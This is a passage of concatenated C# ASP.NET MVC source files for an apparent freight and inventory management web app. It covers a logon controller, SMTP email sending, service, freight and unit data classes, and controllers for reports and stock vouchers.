}
if (UserProfile.SetPass == true)
{
return true;
}
return false;
}
}
protected override void Initialize(RequestContext requestContext)
{
UsersService1 = new UsersServicesImpl();
newsServices = new NewsServices();
base.Initialize(requestContext);
}
// **************************************
// URL: /Account/LogOn
// **************************************
public ActionResult LogOn()
{
return View();
}
[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
if (ModelState.IsValid)
{
User user1 = UsersService1.getUserLogIn(model.UserName, model.Password);
if (user1 != null)
{
var check = newsServices.CheckAboutNewByUser(user1);
Session[USER_HASH_NEWINFO] = check;
if (Request.QueryString["ReturnUrl"] != null)
{
Session[USER_SESSION_ID] = user1;
FormsAuthentication.RedirectFromLoginPage(model.UserName, false);
}
else
{
FormsAuthentication.SetAuthCookie(model.UserName, false);
return RedirectToAction("Index", "Users", new { id = 0 });
}
}
else
{
ModelState.AddModelError("", "The user name or password provided is incorrect.");
}
}
// If we got this far, something failed, redisplay form
return View(model);
}
// **************************************
// URL: /Account/LogOff
// **************************************
public ActionResult LogOff()
{
FormsAuthentication.SignOut();
return RedirectToAction("Index", "Shipment", new { id = 0 });
}
}
}
<file_sep>using System;
using System.ComponentModel;
using System.Configuration;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Net.Mime;
using System.Threading.Tasks;
using DotNetOpenAuth.Messaging;
using SSM.Services;
using SSM.ViewModels;
namespace SSM.Common
{
public class EmailCommon
{
public EmailModel EmailModel { get; set; }
public bool SendEmail(out string msg, bool isUserSend = false)
{
try
{
var isUserSendEmail = true;
var message = new MailMessage();
var smtp = new SmtpClient();
msg = string.Empty;
if (Helpers.AllowUserSendMail)
{
if (!string.IsNullOrEmpty(EmailModel.User?.Email))
{
string errorFromAddress = string.Empty;
if (EmailModel.User.Email.IsValid(out errorFromAddress))
{
message.From = new MailAddress(EmailModel.User.Email,
string.IsNullOrEmpty(EmailModel.User.EmailNameDisplay)
? EmailModel.User.FullName
: EmailModel.User.EmailNameDisplay);
if (isUserSend && !string.IsNullOrEmpty(EmailModel.User.EmailPassword))
{
string pss = EmailModel.User.EmailPassword.Decrypt();
smtp.Credentials = new NetworkCredential(EmailModel.User.Email, pss);
}
}
else
{
//smtp.UseDefaultCredentials = true;
Logger.LogError("User email {0} Not valid {1}", EmailModel.User.Email, errorFromAddress);
}
}
}
if (!string.IsNullOrEmpty(EmailModel.EmailTo))
{
var to = EmailModel.EmailTo.Split(',').Where(x => !string.IsNullOrEmpty(x) && x.IsValid()).Distinct().Select(x => new MailAddress(x));
message.To.AddRange(to);
}
if (!string.IsNullOrEmpty(EmailModel.EmailCc))
{
var cc = EmailModel.EmailCc.Split(',').Where(x => !string.IsNullOrEmpty(x) && x.IsValid()).Distinct().Select(x => new MailAddress(x));
message.CC.AddRange(cc);
}
message.HeadersEncoding = System.Text.Encoding.UTF8;
message.BodyEncoding = System.Text.Encoding.UTF8;
message.SubjectEncoding = System.Text.Encoding.UTF8;
var body = EmailModel.Message;
message.Subject = EmailModel.Subject;
message.IsBodyHtml = true;
message.Body = body;
message.Sender = message.From;
if (EmailModel.Uploads != null && EmailModel.Uploads.Count > 0)
{
foreach (var upload in EmailModel.Uploads.Where(upload => upload != null && upload.ContentLength > 0))
{
Attachment attachment = new Attachment(upload.InputStream, MediaTypeNames.Application.Octet);
ContentDisposition disposition = attachment.ContentDisposition;
disposition.CreationDate = File.GetCreationTime(attachment.Name);
disposition.ModificationDate = File.GetLastWriteTime(upload.FileName);
disposition.ReadDate = File.GetLastAccessTime(upload.FileName);
disposition.FileName = Path.GetFileName(upload.FileName);
disposition.Size = upload.ContentLength;
disposition.DispositionType = DispositionTypeNames.Attachment;
message.Attachments.Add(attachment);
}
}
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.SendCompleted += MailDeliveryComplete;
Task tasks = Task.Factory.StartNew(() => smtp.SendAsync(message, null));
tasks.Wait();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
msg = ex.Message;
return false;
}
}
private static void MailDeliveryComplete(object sender, AsyncCompletedEventArgs e)
{
if (e.Error != null)
{
Logger.LogError(e.Error);
throw e.Error;
}
else if (e.Cancelled)
{
Logger.LogError("Cancelled");
}
else
{
//handle sent email
MailMessage message = (MailMessage)e.UserState;
}
}
public static Task SendAsync(SmtpClient client, MailMessage message)
{
TaskCompletionSource<object> tcs = new TaskCompletionSource<object>();
Guid sendGuid = Guid.NewGuid();
SendCompletedEventHandler handler = null;
handler = (o, ea) =>
{
if (ea.UserState is Guid && ((Guid)ea.UserState) == sendGuid)
{
client.SendCompleted -= handler;
if (ea.Cancelled)
{
tcs.SetCanceled();
}
else if (ea.Error != null)
{
tcs.SetException(ea.Error);
}
else
{
tcs.SetResult(null);
}
}
};
client.SendCompleted += handler;
client.SendAsync(message, sendGuid);
return tcs.Task;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.ViewModels;
namespace SSM.Services
{
public interface IServicesTypeServices : IServices<ServicesType>
{
void Create(ServicesViewModel model);
void Update(ServicesViewModel model);
IQueryable<ServicesType> GetQuerys(ServicesType mode);
ServicesViewModel GetModelById(int id);
int GetId(string serviceName);
List<ServicesType> ListService();
bool CheckServiceFree(int id);
bool SetActive(int id, bool isActive);
void Delete(int id);
}
public class ServicesTypeServices : Services<ServicesType>, IServicesTypeServices
{
public void Create(ServicesViewModel model)
{
var db = new ServicesType
{
DateCreate = DateTime.Now,
Name = model.Name,
SerivceName = model.SerivceName,
Description = model.Description,
CreatedBy = model.CreatedBy
};
Insert(db);
}
public void Update(ServicesViewModel model)
{
var db = GetById(model.Id);
if(db==null)
throw new ArgumentNullException("model");
db.Name = model.Name;
db.SerivceName = model.SerivceName;
db.Description = model.Description;
db.DateModify = DateTime.Now;
db.ModifiedBy = model.ModifiedBy;
db.IsActive = model.IsActive;
Commited();
}
public IQueryable<ServicesType> GetQuerys(ServicesType mode)
{
return GetQuery(x =>
string.IsNullOrEmpty(mode.SerivceName) || x.SerivceName == mode.SerivceName &&
string.IsNullOrEmpty(mode.Name) || x.Name == mode.Name
);
}
public ServicesType GetById(int id)
{
return Context.ServicesTypes.FirstOrDefault(x => x.Id == id);
}
public ServicesViewModel GetModelById(int id)
{
var db = GetById(id);
if (db == null)
return null;
var model = ToModels(db);
return model;
}
public int GetId(string serviceName)
{
var sv = FindEntity(x => x.SerivceName.Equals(serviceName));
if (sv!= null)
{
return sv.Id;
}
return 0;
}
public List<ServicesType> ListService()
{
string sql = @"select * from ServicesType
where id not in(
select distinct ServiceId from Shipment
union
select distinct ServiceId from Freight)
";
var listFree = Context.ExecuteQuery<ServicesType>(sql);
return listFree.ToList();
}
public bool CheckServiceFree(int id)
{
return ListService().Any(x => x.Id == id);
}
public bool SetActive(int id, bool isActive)
{
var db = GetById(id);
if (db!= null)
{
db.IsActive = isActive;
Commited();
return true;
}
return false;
}
public void Delete(int id)
{
var sv = GetById(id);
Delete(sv);
}
private ServicesViewModel ToModels(ServicesType services)
{
if (services == null) return null;
return Mapper.Map<ServicesViewModel>(services);
}
}
}<file_sep>using System;
using System.IO;
using log4net;
using log4net.Config;
namespace SSM.Common
{
public class Logger
{
private static ILog logger;
protected static ILog LoggerInstance
{
get
{
if (logger == null)
{
var fileName = Path.Combine(System.AppDomain.CurrentDomain.BaseDirectory, "log4net.config");
XmlConfigurator.Configure(new FileInfo(fileName));
logger = LogManager.GetLogger(typeof(Logger));//LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);//
}
return logger;
}
}
public static void Log(string message)
{
LoggerInstance.Info(message);
}
public static void Log(string messageFormat, params object[] args)
{
LoggerInstance.InfoFormat(messageFormat, args);
}
public static void LogDebug(string message)
{
LoggerInstance.Debug(message);
}
public static void LogDebug(string messageFormat, params object[] args)
{
LoggerInstance.DebugFormat(messageFormat, args);
}
public static void LogError(Exception exception)
{
LogError(exception.ToString());
if (exception.InnerException != null)
LogError(exception.InnerException);
}
public static void LogError(string message)
{
LoggerInstance.Error(message);
}
public static void LogError(string messageFormat, params object[] args)
{
LoggerInstance.ErrorFormat(messageFormat, args);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using SSM.Utils;
namespace SSM.Models
{
public class FreightModel
{
public enum FreightTypes
{
[StringLabel("Air Freight")]
AirFreight,
[StringLabel("OceanFreight")]
OceanFreight,
[StringLabel("Inland Rates")]
InlandRates,
[StringLabel("Company Tariff")]
CompanyTariff
}
public long Id { get; set; }
public String Type { get; set; }
[Required]
public long AirlineId { get; set; }
public String AirlineName { get; set; }
[Required]
public String ValidDate { get; set; }
public String UpdateDate { get; set; }
public String CreateDate { get; set; }
public long UserId { get; set; }
public String UserName { get; set; }
[Required]
public long AgentId { get; set; }
public String AgentName { get; set; }
public string Remark { get; set; }
[Required]
public long DepartureId { get; set; }
public String DepartureName { get; set; }
[Required]
public long DestinationId { get; set; }
public String DestinationName { get; set; }
public string ServiceName { get; set; }
public long CountryNameDep { get; set; }
public long CountryNameDes { get; set; }
public String FileName { get; set; }
public String SortType { get; set; }
public String SortOder { get; set; }
public int ServiceId { get; set; }
public ServicesType ServicesType { get; set; }
public static FreightModel ConvertFreight(Freight Freight1)
{
FreightModel FreightModel1 = new FreightModel();
FreightModel1.Id = Freight1.Id;
FreightModel1.AirlineId = Freight1.AirlineId.Value;
FreightModel1.ValidDate = Freight1.ValidDate.Value.ToString("dd/MM/yyyy");
FreightModel1.UpdateDate = Freight1.UpdateDate.Value.ToString("dd/MM/yyyy");
FreightModel1.CreateDate = Freight1.CreateDate.Value.ToString("dd/MM/yyyy");
FreightModel1.UserId = Freight1.UserId.Value;
FreightModel1.AgentId = Freight1.AgentId.Value;
FreightModel1.Remark = Freight1.Remark;
FreightModel1.DepartureId = Freight1.DepartureId.Value;
FreightModel1.DestinationId = Freight1.DestinationId.Value;
FreightModel1.ServiceName = Freight1.ServiceName;
FreightModel1.UserName = Freight1.User.FullName;
FreightModel1.AirlineName = Freight1.CarrierAirLine.CarrierAirLineName;
FreightModel1.AgentName = Freight1.Agent.AgentName;
FreightModel1.DepartureName = Freight1.Area.AreaAddress;
FreightModel1.DestinationName = Freight1.Area1.AreaAddress;
FreightModel1.Type = Freight1.Type;
FreightModel1.ServiceId = Freight1.ServiceId;
FreightModel1.ServicesType = Freight1.ServicesType;
return FreightModel1;
}
public static Freight ConvertFreight(FreightModel FreightModel1)
{
Freight Freight1 = new Freight();
Freight1.Id = Freight1.Id;
Freight1.AirlineId = FreightModel1.AirlineId;
Freight1.ValidDate = DateUtils.Convert2DateTime(FreightModel1.ValidDate);
Freight1.UpdateDate = DateUtils.Convert2DateTime(FreightModel1.UpdateDate);
Freight1.CreateDate = DateUtils.Convert2DateTime(FreightModel1.CreateDate);
Freight1.ServiceName = FreightModel1.ServiceName;
Freight1.UserId = FreightModel1.UserId;
Freight1.AgentId = FreightModel1.AgentId;
Freight1.Remark = FreightModel1.Remark;
Freight1.DepartureId = FreightModel1.DepartureId;
Freight1.DestinationId = FreightModel1.DestinationId;
Freight1.Type = FreightModel1.Type;
Freight1.ServiceId = FreightModel1.ServiceId;
return Freight1;
}
public static void ConvertFreight(FreightModel FreightModel1, Freight Freight1)
{
Freight1.Id = Freight1.Id;
Freight1.AirlineId = FreightModel1.AirlineId;
Freight1.ValidDate = DateUtils.Convert2DateTime(FreightModel1.ValidDate);
Freight1.UpdateDate = DateUtils.Convert2DateTime(FreightModel1.UpdateDate);
Freight1.CreateDate = DateUtils.Convert2DateTime(FreightModel1.CreateDate);
Freight1.ServiceName = FreightModel1.ServiceName;
Freight1.UserId = FreightModel1.UserId;
Freight1.AgentId = FreightModel1.AgentId;
Freight1.Remark = FreightModel1.Remark;
Freight1.DepartureId = FreightModel1.DepartureId;
Freight1.DestinationId = FreightModel1.DestinationId;
Freight1.Type = FreightModel1.Type;
Freight1.ServiceId = FreightModel1.ServiceId;
}
}
}<file_sep>using System;
using System.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface IUnitService : IServices<Unit>
{
Unit GetById(long id);
UnitModel GetModelById(long id);
IQueryable<Unit> GetAll(Unit model);
bool InsertUnit(UnitModel model);
bool UpdateUnit(UnitModel model);
bool DeleteUnit(long id);
}
public class UnitService : Services<Unit> , IUnitService{
public Unit GetById(long id)
{
return GetQuery().FirstOrDefault(x => x.Id == id);
}
public UnitModel GetModelById(long id)
{
var db = GetById(id);
if (db == null) return null;
return Mapper.Map<UnitModel>(db);
}
public IQueryable<Unit> GetAll(Unit model)
{
throw new System.NotImplementedException();
}
public bool InsertUnit(UnitModel model)
{
try
{
var db =new Unit();
UnitModel.RevertUnit(model, db);
Insert(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool UpdateUnit(UnitModel model)
{
try
{
var db = GetById(model.Id);
UnitModel.RevertUnit(model, db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool DeleteUnit(long id)
{
try
{
var db = GetById(id);
Delete(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
return false;
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using System.Web.UI.WebControls;
using Microsoft.Office.Interop.Excel;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels;
using SSM.ViewModels.Shared;
using Helpers = SSM.Common.Helpers;
namespace SSM.Controllers
{
public class IssueVoucherController : Controller
{
private IStockCardService stockCardService;
private IWarehouseSevices warehouseSevices;
private ISalesServices salesServices;
private IEnumerable<Product> products;
private IEnumerable<Supplier> suppliers;
private IEnumerable<Warehouse> warehouses;
private Grid<IssueVoucherModel> grid;
private SummaryInventoryViewModel viewReprotModel;
private const string STOCKCARD_SEARCH_MODEL = "STOCKCARD_SEARCH_MODEL";
private const string STOCKCARDINOUT_SEARCH_MODEL = "STOCKCARDINOUT_SEARCH_MODEL";
private const string MONTHYEAR_SEARCH_MODEL = "MONTHYEAR_SEARCH_MODEL";
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
if (!Helpers.AllowTrading)
{
throw new HttpException("You are not authorized to access this page");
}
stockCardService = new StockCardService();
warehouseSevices = new WareHouseServices();
salesServices = new SalesServices();
}
private void GetDefaultData()
{
warehouses = warehouses == null || !warehouses.Any() ? warehouseSevices.GetAll() : warehouses;
var stocks = warehouses.Select(x => new SelectListItem
{
Text = x.Name,
Value = x.Id.ToString()
}).ToList();
stocks.Insert(0, new SelectListItem()
{
Text = "--All--",
Value = "0"
});
ViewData["Warehouses"] = stocks;
}
private List<int> GetListYear()
{
List<int> years = Enumerable.Range(DateTime.Now.Year, 10).ToList();
return years;
}
public ActionResult Index()
{
GetDefaultData();
grid = (Grid<IssueVoucherModel>)Session[STOCKCARD_SEARCH_MODEL];
if (grid == null)
{
grid = new Grid<IssueVoucherModel>(
new Pager
{
CurrentPage = 1,
PageSize = 10,
})
{
SearchCriteria = new IssueVoucherModel() { HashOut = false, StockIn = true, StockOut = false }
};
}
var filter = grid.SearchCriteria ?? new IssueVoucherModel();
var totalRow = 0;
var list = stockCardService.GetListInventory(filter, grid.Pager.CurrentPage, grid.Pager.PageSize, out totalRow);
grid.Data = list.ToList();
grid.Pager.Init(totalRow);
return View(grid);
}
[HttpPost]
public ActionResult Index(Grid<IssueVoucherModel> modeGrid)
{
GetDefaultData();
grid = modeGrid;
Session[STOCKCARD_SEARCH_MODEL] = grid;
grid.ProcessAction();
var filter = grid.SearchCriteria ?? new IssueVoucherModel() { HashOut = false, StockIn = true, StockOut = false };
var totalRow = 0;
var list = stockCardService.GetListInventory(filter, grid.Pager.CurrentPage, grid.Pager.PageSize, out totalRow);
grid.Data = list.ToList();
grid.Pager.Init(totalRow);
return PartialView("_ListInventory",grid);
}
public ActionResult ReportStockInOut()
{
GetDefaultData();
grid = (Grid<IssueVoucherModel>)Session[STOCKCARDINOUT_SEARCH_MODEL];
if (grid == null)
{
grid = new Grid<IssueVoucherModel>(
new Pager
{
CurrentPage = 1,
PageSize = 10,
})
{
SearchCriteria = new IssueVoucherModel() { HashOut = true, StockIn = true, StockOut = true,TopRowDetail = 20}
};
}
var filter = grid.SearchCriteria ?? new IssueVoucherModel();
var totalRow = 0;
var list = stockCardService.GetList(filter, grid.Pager.CurrentPage, grid.Pager.PageSize, out totalRow);
grid.Data = list.ToList();
grid.Pager.Init(totalRow);
return View(grid);
}
[HttpPost]
public ActionResult ReportStockInOut(Grid<IssueVoucherModel> modeGrid)
{
GetDefaultData();
grid = modeGrid;
Session[STOCKCARDINOUT_SEARCH_MODEL] = grid;
grid.ProcessAction();
var filter = grid.SearchCriteria ?? new IssueVoucherModel() { HashOut = true, StockIn = true, StockOut = true };
var totalRow = 0;
var list = stockCardService.GetList(filter, grid.Pager.CurrentPage, grid.Pager.PageSize, out totalRow);
grid.Data = list.ToList();
grid.Pager.Init(totalRow);
return PartialView("_ListWarehouseSaving", grid);
}
public ActionResult MonthYearReport()
{
GetDefaultData();
viewReprotModel = (SummaryInventoryViewModel)Session[MONTHYEAR_SEARCH_MODEL];
if (viewReprotModel == null)
{
viewReprotModel = new SummaryInventoryViewModel();
viewReprotModel.IssueVoucher = viewReprotModel.IssueVoucher ?? new IssueVoucherModel() { HashOut = true, StockIn = true, StockOut = true, Year = DateTime.Now.Year };
}
var list = stockCardService.GetReportList(viewReprotModel.IssueVoucher);
viewReprotModel.Summary = list;
return View(viewReprotModel);
}
[HttpPost]
public ActionResult MonthYearReport(SummaryInventoryViewModel filterMode)
{
GetDefaultData();
viewReprotModel = filterMode;
if (viewReprotModel == null)
{
viewReprotModel = new SummaryInventoryViewModel();
viewReprotModel.IssueVoucher = viewReprotModel.IssueVoucher ?? new IssueVoucherModel() { HashOut = true, StockIn = true, StockOut = true, Year = DateTime.Now.Year };
}
var list = stockCardService.GetReportList(viewReprotModel.IssueVoucher);
Session[MONTHYEAR_SEARCH_MODEL] = viewReprotModel;
viewReprotModel.Summary = list;
return View(viewReprotModel);
}
public ActionResult CalculateCost()
{
var model = new CalculateCostViewModel
{
Year = DateTime.Now.Year,
FromMonth = DateTime.Now.Month - 6,
ToMonth = DateTime.Now.Month,
};
return View(model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult CalculateCost(CalculateCostViewModel model)
{
string message = string.Empty;
message = stockCardService.CaculateCost(model);
ViewBag.Message = message;
return View(model);
// return Json(message, JsonRequestBehavior.AllowGet);
}
public ActionResult MoveStockToNextYear()
{
return View();
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult MoveStockToNextYear(int year)
{
string message = string.Empty;
message = stockCardService.CaculateCostToNextYear(year);
ViewBag.Message = message;
return View(year);
}
public ActionResult ShowProductSalseHold(long productId)
{
var list = salesServices.GetAll(x => x.DT81s.Any(p => p.ProductID == productId) && x.Status == (byte)VoucherStatus.Pending);
var models = list.Select(x => new ShowQtyPending
{
VoucherNo = x.VoucherNo,
Quantity = x.DT81s.Where(p => p.ProductID == productId).Sum(s => s.Quantity ?? 0),
SaffName = x.User.FullName
}).ToList();
return PartialView("_UserHoldOrderPending", models);
}
public ActionResult CalculateCostOnSaleOrder(long id)
{
var message = string.Empty;
try
{
var order = salesServices.GetModelById(id);
var dates = order.VoucherDate.Value;
var model = new CalculateCostViewModel()
{
FromMonth = dates.Month,
ToMonth =DateTime.Now.Month,
Year = dates.Year
};
message = stockCardService.CaculateCost(model);
var orderN = salesServices.GetById(id);
var cost = orderN.T_Amount0.Value;
if (cost == 0)
{
cost = orderN.DT81s.ToList().Sum(x => x.Amount0.Value);
}
return Json(new
{
Error = false,
Message = message + string.Format("<br/> <span class='successfuly'> <label>Cost Of Sales:</label>{0}</span>", cost),
Cost = cost,
}, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
Logger.LogError(ex);
message = string.Format("<span class='error'> {0}</span>", ex.Message);
return Json(new
{
Error = true,
Message = message
}, JsonRequestBehavior.AllowGet);
}
}
}
}<file_sep>using System;
namespace SSM.Models
{
public enum VoucherStatus:byte
{
[StringLabel("")]
Pending = 0,
[StringLabel("S")]
Submited,
[StringLabel("C")]
Checked,
[StringLabel("A")]
Approved,
[StringLabel("L")]
Locked
}
public static class VoucherLable
{
public static String ViewStatus(VoucherStatus status)
{
switch (status)
{
case VoucherStatus.Pending: return " ";
case VoucherStatus.Submited: return "S";
case VoucherStatus.Checked: return "C";
case VoucherStatus.Approved: return "A";
case VoucherStatus.Locked: return "L";
default: return " ";
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class ServicesController : BaseController
{
private GridNew<ServicesType, ServicesViewModel> gridView;
private IServicesTypeServices servicesType;
private const string SERVICE_SEARCH_MODEL = "SERVICE_SEARCH_MODEL";
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
servicesType = new ServicesTypeServices();
}
public ActionResult Index()
{
gridView = (GridNew<ServicesType, ServicesViewModel>)Session[SERVICE_SEARCH_MODEL];
if (gridView == null)
{
gridView = new GridNew<ServicesType, ServicesViewModel>(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sidx = "Name",
})
{
SearchCriteria = new ServicesType()
};
}
UpdateGridSupplierData();
return View(gridView);
}
[HttpPost]
public ActionResult Index(GridNew<ServicesType, ServicesViewModel> grid)
{
gridView = grid;
Session[SERVICE_SEARCH_MODEL] = grid;
UpdateGridSupplierData();
return PartialView("_ListData", gridView);
}
private void UpdateGridSupplierData()
{
int Skip = (gridView.Pager.CurrentPage - 1) * gridView.Pager.PageSize;
int Take = gridView.Pager.PageSize;
var services = servicesType.GetQuerys(gridView.SearchCriteria);
int totalRows = services.Count();
gridView.Pager.Init(totalRows);
if (totalRows == 0)
{
gridView.Data = new List<ServicesType>();
return;
}
IEnumerable<ServicesType> servicesTypes = services.Skip(Skip).Take(Take).ToList();
gridView.Data = servicesTypes;
}
[HttpGet]
public ActionResult Edit(int id)
{
var model = servicesType.GetModelById(id);
model = model ?? new ServicesViewModel();
return PartialView("_formEditView", model);
}
[ValidateAntiForgeryToken]
public ActionResult Edit(ServicesViewModel model)
{
if (ModelState.IsValid)
{
if (model.Id > 0)
{
model.ModifiedBy = CurrenUser.Id;
model.DateModify = DateTime.Now;
servicesType.Update(model);
}
else
{
model.CreatedBy = CurrenUser.Id;
model.DateCreate = DateTime.Now;
model.Id = 0;
servicesType.Create(model);
}
return Json(1);
}
return PartialView("_formEditView", model);
}
public ActionResult Delete(int id)
{
if (servicesType.CheckServiceFree(id))
{
servicesType.Delete(id);
}
return RedirectToAction("Index", "Services", new { id = 0 });
}
public ActionResult CheckDelete(int id)
{
ViewBag.checkDelete = servicesType.CheckServiceFree(id);
return PartialView("_CheckDelete", id);
}
public ActionResult SetServiceActive(int id, bool isActive)
{
if (CurrenUser.IsAdmin())
{
servicesType.SetActive(id, isActive);
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Data.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.Utils;
using Microsoft.Reporting.WebForms;
using Microsoft.Office.Interop.Excel;
using System.IO;
namespace SSM.Controllers
{
[HandleError]
public class ReportController : BaseController
{
private ShipmentServices ShipmentServices1;
private ReportServices ReportService1;
private UsersServices UserService1;
private ICustomerServices customerServices;
private IAgentService agentService;
private IServicesTypeServices servicesType;
private List<ServicesType> servicesList;
private IPerformanceReportService performanceService;
List<SaleType> SaleTypes;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
ShipmentServices1 = new ShipmentServicesImpl();
ReportService1 = new ReportServicesImpl();
UserService1 = new UsersServicesImpl();
customerServices = new CustomerServices();
agentService = new AgentService();
servicesType = new ServicesTypeServices();
performanceService = new PerformanceReportService();
SaleTypes = SaleTypes ?? UserService1.getAllSaleTypes(false).ToList();
GetDefaultList();
}
public void GetDefaultList()
{
ViewData["Services"] = Services;
List<Agent> Agents = new List<Agent>();
Agent InitA = new Agent();
InitA.Id = 0;
InitA.AbbName = "--All Agents--";
Agents.Add(InitA);
Agents.AddRange(agentService.GetAll(x => x.IsActive && x.IsSee && (CurrenUser.IsAdmin() || x.IsHideUser == false)).OrderBy(x => x.AbbName));
ViewData["Agents"] = new SelectList(Agents, "Id", "AbbName");
List<Customer> Cnees = new List<Customer>();
Customer InitC = new Customer();
InitC.Id = 0;
InitC.CompanyName = "--All Cnees--";
Cnees.Add(InitC);
Cnees.AddRange(customerServices.GetAll(x => (x.CustomerType == CustomerType.Cnee.ToString() || x.CustomerType == CustomerType.ShipperCnee.ToString()) && x.IsSee && (CurrenUser.IsAdmin() || x.IsHideUser == false)).OrderByDescending(x => x.CompanyName));
ViewData["Cnees"] = new SelectList(Cnees, "Id", "CompanyName");
List<Customer> Shippers = new List<Customer>();
Customer Shipper1 = new Customer();
Shipper1.Id = 0;
Shipper1.CompanyName = "--All Shippers--";
Shippers.Add(Shipper1);
Shippers.AddRange(customerServices.GetAll(x => (x.CustomerType == CustomerType.Shipper.ToString() || x.CustomerType == CustomerType.ShipperCnee.ToString()) && x.IsSee && (CurrenUser.IsAdmin() || x.IsHideUser == false)).OrderByDescending(x => x.CompanyName));
ViewData["Shippers"] = new SelectList(Shippers, "Id", "CompanyName");
var sales = UserService1.GetAllSales(CurrenUser).OrderBy(x => x.FullName);
var users = new List<User>() { new User() { Id = 0, FullName = "--All Users--" } };
users.AddRange(sales);
ViewData["Users"] = new SelectList(users, "Id", "FullName");
}
private SelectList Services
{
get
{
List<ServicesType> list = new List<ServicesType>();
var servicesTypeItem = new ServicesType { Id = 0, SerivceName = "--All Services--" };
list.Add(servicesTypeItem);
list.AddRange(servicesList ?? servicesType.GetAll().OrderBy(x => x.SerivceName).ToList());
return new SelectList(list, "Id", "SerivceName");
}
}
public ActionResult Index()
{
return View();
}
public ActionResult SalePerformance(long ComId, long DeptId)
{
SalePerformamceModel SalePerformamceModel1 = null;
SalePerformamceModel1 = (SalePerformamceModel)Session["SalePerformamceModel1"];
if (SalePerformamceModel1 == null)
{
SalePerformamceModel1 = new SalePerformamceModel();
DateTime Date1 = DateTime.Now.AddMonths(-1);
SalePerformamceModel1.Month = Date1.Month;
SalePerformamceModel1.Year = Date1.Year;
}
SalePerformanceProcess(ComId, DeptId, SalePerformamceModel1);
return View(SalePerformamceModel1);
}
private List<SaleTypePerform> getAllSaleTypePerform(List<SaleType> SaleTypes)
{
List<SaleTypePerform> SaleTypePerforms = new List<SaleTypePerform>();
foreach (SaleType SaleType1 in SaleTypes)
{
SaleTypePerform SaleTypePerform1 = new SaleTypePerform();
SaleTypePerform1.SaleType = SaleType1.Name;
SaleTypePerform1.Bonus = 0;
SaleTypePerforms.Add(SaleTypePerform1);
}
return SaleTypePerforms;
}
private List<ViewPerformance> summaryViewPerformance(List<ViewPerformance> ViewPerformances)
{
List<ViewPerformance> results = new List<ViewPerformance>();
foreach (ViewPerformance ViewPerformance1 in ViewPerformances)
{
if (!results.Contains(ViewPerformance1))
{
ViewPerformance1.SaleTypePerforms = getAllSaleTypePerform(SaleTypes);
ViewPerformance1.setPerform(ViewPerformance1.SaleTypePerform1);
results.Add(ViewPerformance1);
}
else
{
ViewPerformance ViewPerformanceExisted = results.Find(delegate (ViewPerformance ViewPerformance2)
{
return ViewPerformance2.Equals(ViewPerformance1);
});
ViewPerformanceExisted.setPerform(ViewPerformance1.SaleTypePerform1);
ViewPerformanceExisted.Bonus += ViewPerformance1.Bonus;
ViewPerformanceExisted.Perform += ViewPerformance1.Perform;
ViewPerformanceExisted.Percent += ViewPerformance1.Percent;
ViewPerformanceExisted.Shipments += ViewPerformance1.Shipments;
}
}
return results.OrderBy(x => x.Name).ThenBy(x => x.SaleType).ToList();
}
private void SalePerformanceProcess(long ComId, long DeptId, SalePerformamceModel SalePerformamceModel1)
{
DateTime SearchDate = DateTime.Now;
DateTime SearchDateTo = DateTime.Now;
if (SalePerformamceModel1.Priod == 0)
{
SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay("" + SalePerformamceModel1.Month) + "/" + SalePerformamceModel1.Year);
SearchDateTo = DateUtils.Convert2DateTime("" + DateUtils.ConvertDay("" + DateTime.DaysInMonth(SalePerformamceModel1.Year, SalePerformamceModel1.Month)) + "/" + DateUtils.ConvertDay("" + SalePerformamceModel1.Month) + "/" + SalePerformamceModel1.Year);
SearchDateTo = SearchDateTo.AddHours(23).AddMinutes(59).AddSeconds(59);
}
else
{
SearchDate = DateUtils.Convert2DateTime(SalePerformamceModel1.DateFrom);
//SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay("" + SearchDate.Month) + "/" + SearchDate.Year);
SearchDateTo = SalePerformamceModel1.DateTo != null ? DateUtils.Convert2DateTime(SalePerformamceModel1.DateTo) : SearchDateTo.AddDays(1);
}
IEnumerable<ViewPerformance> ViewPerformances = null;
IEnumerable<QuantityUnits> QuantityUnits1 = null;
IEnumerable<ViewPerformance> ViewPerformancesDept = null;
IEnumerable<QuantityUnits> QuantityUnits1Dept = null;
IEnumerable<ViewPerformance> ViewPerformancesCom = null;
IEnumerable<QuantityUnits> QuantityUnits1Com = null;
#region search by monthly
if (SalePerformamceModel1.Priod == 0)
{
if (UsersModel.isAdminOrDirctor(CurrenUser))
{
